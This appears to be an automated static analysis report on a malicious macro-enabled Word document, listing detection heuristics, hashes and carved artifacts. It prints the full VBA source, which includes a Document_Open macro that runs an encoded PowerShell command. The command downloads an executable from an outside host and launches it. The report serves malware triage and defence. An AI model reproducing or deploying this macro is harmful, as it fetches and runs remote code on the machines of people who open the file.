Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 c64a6f1233c22b22…

MALICIOUS

Office (OOXML) / .DOCX

39.6 KB Created: 2021-05-30 12:50:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-14
MD5: aa3dbbd8c56adc82340a2554b541aa69 SHA-1: e28210067a9d18c99c834c523f66429db0558bd4 SHA-256: c64a6f1233c22b226aadefd7095731d9c3d20101d5a4bd6ad715b30b66b3fd92
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      a = Shell("powershell.exe -exec bypass -enc YwBkACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAvAEQAZQBzAGsAdABvAHAADQAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAiAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG4AbwB0AG0AYQBsAGkAYwBpAG8AdQBzAC4AcwBlAHIAdgBpAGMAZQBzAC8AaABlAGwAbABvAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAaABlAGwAbABvAC4AZQB4AGUAIgAgAA0ACgAuAC8AaABlAGwAbABvAC4AZQB4AGUA")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
      a = Shell("powershell.exe -exec bypass -enc YwBkACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAvAEQAZQBzAGsAdABvAHAADQAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAiAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG4AbwB0AG0AYQBsAGkAYwBpAG8AdQBzAC4AcwBlAHIAdgBpAGMAZQBzAC8AaABlAGwAbABvAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAaABlAGwAbABvAC4AZQB4AGUAIgAgAA0ACgAuAC8AaABlAGwAbABvAC4AZQB4AGUA")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 771 bytes
SHA-256: e8df2ab86b91ad5e61a9ce913fc555a535d9b94e4dc96a37b6e42e94fb2f2464
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
  MsgBox "game over", vbOKOnly, "game over"
  a = Shell("powershell.exe -exec bypass -enc YwBkACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAvAEQAZQBzAGsAdABvAHAADQAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAiAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG4AbwB0AG0AYQBsAGkAYwBpAG8AdQBzAC4AcwBlAHIAdgBpAGMAZQBzAC8AaABlAGwAbABvAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAaABlAGwAbABvAC4AZQB4AGUAIgAgAA0ACgAuAC8AaABlAGwAbABvAC4AZQB4AGUA")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 8704 bytes
SHA-256: 0760fe169a150a3a65d691fca298df03e5c893c34ce36b6bd6992c150e15ce31
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 1 long base64-like blob(s).